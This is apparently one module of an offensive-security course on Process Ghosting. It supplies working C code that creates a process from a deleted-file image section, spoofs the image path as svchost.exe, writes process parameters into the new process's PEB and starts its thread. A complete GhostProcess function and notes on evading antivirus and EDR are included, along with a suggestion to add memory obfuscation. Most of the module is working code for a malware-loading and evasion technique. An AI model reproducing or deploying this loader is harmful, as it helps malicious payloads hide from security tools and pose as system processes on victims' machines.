Module 6: Process & Thread Creation
Bringing the ghost to life — NtCreateProcessEx, PEB setup, process parameters, and NtCreateThreadEx to start execution.
Module Objective
Implement the final phase of Process Ghosting: creating a process from the ghost section handle using NtCreateProcessEx, setting up process parameters with RtlCreateProcessParametersEx, writing them into the target process, and creating the initial thread with NtCreateThreadEx. By the end of this module, the ghost process is running.
1. Step 1: Creating the Process Object
With the image section handle from Module 5, we create a process. NtCreateProcessEx creates an EPROCESS object and maps the section into a new address space:
HANDLE hProcess = NULL;
NTSTATUS status = NtCreateProcessEx(
&hProcess, // output: process handle
PROCESS_ALL_ACCESS, // desired access
NULL, // object attributes
NtCurrentProcess(), // parent process handle
0, // flags (0 = inherit nothing)
hSection, // THE GHOST SECTION
NULL, // debug port
NULL, // exception port
FALSE // InJob
);
NtCreateProcessEx Parameters
| Parameter | Value | Purpose |
|---|---|---|
ProcessHandle | &hProcess | Receives the handle to the new process |
DesiredAccess | PROCESS_ALL_ACCESS | Full access — we need to write memory and create threads |
ObjectAttributes | NULL | No special naming or inheritance |
ParentProcess | NtCurrentProcess() | Our process is the parent. This affects token inheritance and process tree. |
Flags | 0 | No special flags (no handle inheritance, etc.) |
SectionHandle | hSection | The ghost image section — this is what gets mapped into the process |
DebugPort | NULL | No debugger attached |
ExceptionPort | NULL | No exception port |
InJob | FALSE | Do not create in a job object |
After this call, the kernel has created a new process with the ghost image mapped into its virtual address space. The process has a PEB, an address space, and ntdll.dll mapped. But it has no threads — it is not executing.
2. Reading Process Information
Before setting up parameters, we need to find the PEB address and the image entry point in the new process:
// Get the PEB address of the new process
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen = 0;
status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof(pbi),
&retLen
);
PPEB pRemotePEB = pbi.PebBaseAddress;
// Read the image base from the remote PEB
PVOID imageBase = NULL;
SIZE_T bytesRead = 0;
// PEB.ImageBaseAddress is at offset 0x10 (x64)
ReadProcessMemory(
hProcess,
(PBYTE)pRemotePEB + offsetof(PEB, ImageBaseAddress),
&imageBase,
sizeof(imageBase),
&bytesRead
);
We also need the entry point address, which we can get from the section information we queried in Module 5, or by reading the PE headers from the mapped image:
// Get entry point from section image information
SECTION_IMAGE_INFORMATION imageInfo = { 0 };
NtQuerySection(hSection, SectionImageInformation,
&imageInfo, sizeof(imageInfo), NULL);
// Entry point absolute address
PVOID entryPoint = imageInfo.TransferAddress;
// Alternative: read from mapped PE headers
// DWORD epRVA = ntHeaders->OptionalHeader.AddressOfEntryPoint;
// PVOID entryPoint = (PBYTE)imageBase + epRVA;
3. Step 2: Creating Process Parameters
Every Windows process needs RTL_USER_PROCESS_PARAMETERS — this structure contains the command line, image path, environment variables, current directory, standard handles, and window information. Without it, the process will crash during loader initialization.
// Create process parameters
UNICODE_STRING imagePath;
UNICODE_STRING commandLine;
UNICODE_STRING currentDir;
// Use a legitimate-looking image path
// This is what appears in Process Explorer, tasklist, etc.
RtlInitUnicodeString(&imagePath,
L"C:\\Windows\\System32\\svchost.exe");
RtlInitUnicodeString(&commandLine,
L"C:\\Windows\\System32\\svchost.exe");
RtlInitUnicodeString(¤tDir,
L"C:\\Windows\\System32");
PRTL_USER_PROCESS_PARAMETERS processParams = NULL;
UNICODE_STRING dllPath;
RtlInitUnicodeString(&dllPath,
L"C:\\Windows\\System32");
status = RtlCreateProcessParametersEx(
&processParams,
&imagePath, // ImagePathName
&dllPath, // DllPath
¤tDir, // CurrentDirectory
&commandLine, // CommandLine
NULL, // Environment (inherit)
NULL, // WindowTitle
NULL, // DesktopInfo
NULL, // ShellInfo
NULL, // RuntimeData
RTL_USER_PROC_PARAMS_NORMALIZED // flags
);
RTL_USER_PROC_PARAMS_NORMALIZED
The RTL_USER_PROC_PARAMS_NORMALIZED flag tells the runtime to create the parameters with absolute pointers (normalized) rather than offsets from the structure base (denormalized). This is important because we will be writing the structure into a different process’s address space, and we need the pointers to be valid in that space.
4. Step 3: Writing Parameters into the Target Process
The process parameters must be written into the target process’s memory and the PEB must be updated to point to them:
// Calculate total size of parameters (structure + strings)
SIZE_T paramSize = processParams->MaximumLength +
processParams->EnvironmentSize;
// Allocate memory in the target process
PVOID paramBaseAddr = processParams; // preferred address
status = NtAllocateVirtualMemory(
hProcess,
¶mBaseAddr,
0,
¶mSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
// Write the parameters into the target process
SIZE_T bytesWritten = 0;
WriteProcessMemory(
hProcess,
paramBaseAddr,
processParams,
processParams->MaximumLength +
processParams->EnvironmentSize,
&bytesWritten
);
// Update the PEB to point to the parameters
// PEB.ProcessParameters is at a known offset
WriteProcessMemory(
hProcess,
(PBYTE)pRemotePEB +
offsetof(PEB, ProcessParameters),
¶mBaseAddr,
sizeof(PVOID),
&bytesWritten
);
Address Space Awareness
A common pitfall is allocating the process parameters at an arbitrary address. If the parameters use normalized (absolute) pointers, those pointers must be valid in the target process. The safest approach is to allocate at the same address in the target as in the current process, or re-normalize the pointers after allocation.
5. Step 4: Creating the Initial Thread
The final step is creating a thread in the ghost process that begins execution at the PE entry point:
HANDLE hThread = NULL;
status = NtCreateThreadEx(
&hThread,
THREAD_ALL_ACCESS,
NULL, // object attributes
hProcess, // target process
(LPTHREAD_START_ROUTINE)entryPoint, // start address
NULL, // parameter
FALSE, // CreateSuspended = FALSE
0, // ZeroBits
0, // StackSize (default)
0, // MaxStackSize (default)
NULL // AttributeList
);
if (NT_SUCCESS(status)) {
// The ghost process is now RUNNING
// The thread starts at the PE entry point
// ntdll!LdrInitializeThunk runs first,
// processing imports and calling DllMain for loaded DLLs
}
NtCreateThreadEx Parameters
| Parameter | Value | Notes |
|---|---|---|
ThreadHandle | &hThread | Output handle |
DesiredAccess | THREAD_ALL_ACCESS | Full control over the thread |
ProcessHandle | hProcess | The ghost process |
StartRoutine | entryPoint | PE AddressOfEntryPoint (absolute address in target) |
CreateSuspended | FALSE | Thread starts immediately. Set TRUE if you need to modify context first. |
StackSize | 0 | Use PE header defaults (SizeOfStackReserve / SizeOfStackCommit) |
6. What Happens at Thread Start
When the thread begins execution, it does not jump directly to the application’s entry point. The Windows loader takes over first:
Thread Startup Sequence
ntdll!LdrInitializeThunk— Entry point set by the kernel for all new threadsntdll!LdrpInitialize— Checks if this is the first thread (process initialization needed)ntdll!LdrpInitializeProcess— Walks the import table, loads DLLs, resolves imports, processes TLS callbacksntdll!LdrpRunInitializeRoutines— CallsDllMain(DLL_PROCESS_ATTACH)for each loaded DLL- Control transfers to
kernel32!BaseThreadInitThunk - Finally, the application’s entry point (
main,WinMain, or the CRT entry) executes
This means the ghost process goes through the normal Windows loader initialization. Imports are resolved, DLLs are loaded (including any EDR userland DLLs like hooking DLLs), and the process looks fully normal from the loader’s perspective.
7. Complete Ghost Process Creation Function
bool GhostProcess(
LPCWSTR ghostFilePath,
BYTE* payload, DWORD payloadSize,
LPCWSTR spoofedImagePath)
{
HANDLE hSection = NULL;
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
NTSTATUS status;
// Phase 1 & 2: Ghost file + section (Modules 4-5)
if (!CreateGhostSection(ghostFilePath,
payload, payloadSize, &hSection)) {
return false;
}
// Phase 3: Create process from ghost section
status = NtCreateProcessEx(
&hProcess, PROCESS_ALL_ACCESS,
NULL, NtCurrentProcess(),
0, hSection, NULL, NULL, FALSE);
if (!NT_SUCCESS(status)) {
NtClose(hSection);
return false;
}
// Phase 4: Get PEB and entry point
PROCESS_BASIC_INFORMATION pbi = { 0 };
NtQueryInformationProcess(hProcess,
ProcessBasicInformation,
&pbi, sizeof(pbi), NULL);
SECTION_IMAGE_INFORMATION imgInfo = { 0 };
NtQuerySection(hSection,
SectionImageInformation,
&imgInfo, sizeof(imgInfo), NULL);
// Phase 5: Create and write process parameters
UNICODE_STRING imgPath, cmdLine, curDir, dllPath;
RtlInitUnicodeString(&imgPath, spoofedImagePath);
RtlInitUnicodeString(&cmdLine, spoofedImagePath);
RtlInitUnicodeString(&curDir, L"C:\\Windows\\System32");
RtlInitUnicodeString(&dllPath, L"C:\\Windows\\System32");
PRTL_USER_PROCESS_PARAMETERS params = NULL;
RtlCreateProcessParametersEx(¶ms,
&imgPath, &dllPath, &curDir, &cmdLine,
NULL, NULL, NULL, NULL, NULL,
RTL_USER_PROC_PARAMS_NORMALIZED);
// Write params into target and update PEB
WriteParamsToProcess(hProcess,
pbi.PebBaseAddress, params);
// Phase 6: Create initial thread
status = NtCreateThreadEx(
&hThread, THREAD_ALL_ACCESS,
NULL, hProcess,
(LPTHREAD_START_ROUTINE)imgInfo.TransferAddress,
NULL, FALSE, 0, 0, 0, NULL);
// Cleanup local resources
RtlDestroyProcessParameters(params);
NtClose(hSection);
if (!NT_SUCCESS(status)) {
NtTerminateProcess(hProcess, status);
NtClose(hProcess);
return false;
}
// Ghost process is now running!
NtClose(hThread);
NtClose(hProcess);
return true;
}
8. Post-Creation State
After the ghost process is running, here is the system state from various perspectives:
| Observer | What They See |
|---|---|
| Task Manager / Process Explorer | A process with the spoofed image path (e.g., svchost.exe). The image name in the PEB matches the spoofed path. |
| Kernel (NtQueryInformationProcess) | ProcessImageFileName returns the path of the ghost file (which no longer exists on disk). |
| AV file scan | Cannot scan the backing file — it does not exist. Attempting to open the path returns STATUS_OBJECT_NAME_NOT_FOUND. |
| Memory scan | The image is in memory and executable. If the AV has signatures for the payload, memory scanning can still detect it. |
| ETW / Kernel callbacks | Process creation callbacks (PsSetCreateProcessNotifyRoutineEx) fire when the first thread is inserted, not at process object creation. By then, the FileObject points to a deleted file. |
Ghosting Does Not Prevent Memory Scanning
Process Ghosting evades file-based scanning by eliminating the file. It does not protect against memory-based scanning. Once the process is running, its memory can still be scanned by EDR products that do in-memory signature matching. Combining ghosting with memory obfuscation techniques (like sleep obfuscation or per-function masking) provides more comprehensive evasion.
Knowledge Check
Q1: What is the purpose of RTL_USER_PROCESS_PARAMETERS in the ghost process?
Q2: What runs before the application entry point when NtCreateThreadEx starts the initial thread?
Q3: What limitation does Process Ghosting have even after successfully creating the ghost process?